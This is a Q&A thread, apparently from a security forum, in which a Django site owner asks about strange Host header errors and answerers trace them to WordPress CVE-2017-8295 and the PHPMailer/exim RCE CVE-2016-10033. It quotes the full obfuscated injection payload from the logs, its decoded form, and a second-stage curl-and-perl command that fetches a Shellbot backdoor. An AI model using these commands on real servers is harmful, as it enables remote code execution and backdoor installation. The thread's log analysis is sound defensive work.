Is this invalid HTTP_HOST header part of an exploit?

Question

We received a large number of error messages from our django application, like this:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

I have not seen anything like it before, and I'm having trouble figuring out what it means. Could this be part of some exploit, or am I just being paranoid?

Answer 1

To expand on the answer provided by @Swashbuckler, CVE-2017-8295 specifically relates to WordPress password resets with the HOST HTTP header set.

When WordPress sends out password reset emails, they set the From/Return-Path to the value of $_SERVER['SERVER_NAME'] (in PHP). This value is set by some web servers (e.g. Apache) based on the HOST HTTP header.

This means that attackers can make WordPress send out emails that have From/Return-Path set to an email address of their choosing. If the email is bounced or responded to, it will happen to this malicious email address and - if the original email was attached - the attacker will then have access to the password reset link.

Actually abusing the exploit requires two factors to happen: the web server must read the hostname from the HOST header, and the email must be bounced or replied to. The former can be fixed by the server admin (if using Apache, by setting UseCanonicalName On), the latter requires the attacker to somehow block the victim's mail server (e.g. by DoS'ing it) or for the victim to reply to the email.

As pointed out by @TerrorBite, the attackers aren't actually targeting the password reset links, but only using the bug to exploit a bug in the PHP mail() function. See his answer below.

Answer 2

Looks to me to be an attempt to exploit CVE-2017-8295.

Here's the summary of the CVE:

WordPress through 4.7.4 relies on the Host HTTP header for a password-reset e-mail message, which makes it easier for remote attackers to reset arbitrary passwords by making a crafted wp-login.php?action=lostpassword request and then arranging for this message to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled SMTP server. This is related to problematic use of the SERVER_NAME variable in wp-includes/pluggable.php in conjunction with the PHP mail function. Exploitation is not achievable in all cases because it requires at least one of the following: (1) the attacker can prevent the victim from receiving any e-mail messages for an extended period of time (such as 5 days), (2) the victim's e-mail system sends an autoresponse containing the original message, or (3) the victim manually composes a reply containing the original message.

Dennis says they're seeing a lot of requests, so the attacker is either trying to guess account names or has a list of account names (perhaps harvested in some manner) and is trying to reset the passwords on the accounts so he can gain control of them. The attacker is looking for the reset key as described in the CVE.

Answer 3

This actually appears to be targeting the Remote Code Execution exploit CVE-2016-10033 in the php mail() function, using CVE-2017-8295 only as a way to inject exploit code into the mail() function.

The content of the HTTP host header is a string containing substitution values that are intended to be run by the exim4 mail-transfer agent. The substring functions appear to be intended to return a forward slash character and a space character (this is used to avoid Apache filtering out slash characters and to make sure that the spaces don't break up the argument to exim4's -be flag). If we substitute these in, we end up with a string that looks similar to this (IP address partly redacted):

target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

This would result in the exim4 ${run} function executing curl to download the file rce.txt.

Note that this only downloads the file. You can expect to see a second HTTP request with a similar but different Host header, which will invoke bash to execute the previously downloaded file.

The file rce.txt at this address, at the time of writing, contains another command line string as follows (URL and IP address partly redacted):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && perl /tmp/wp.gif

The file strust.gif is detected as Backdoor:Perl/Shellbot.S, and an ISC SANS writeup of this threat is available.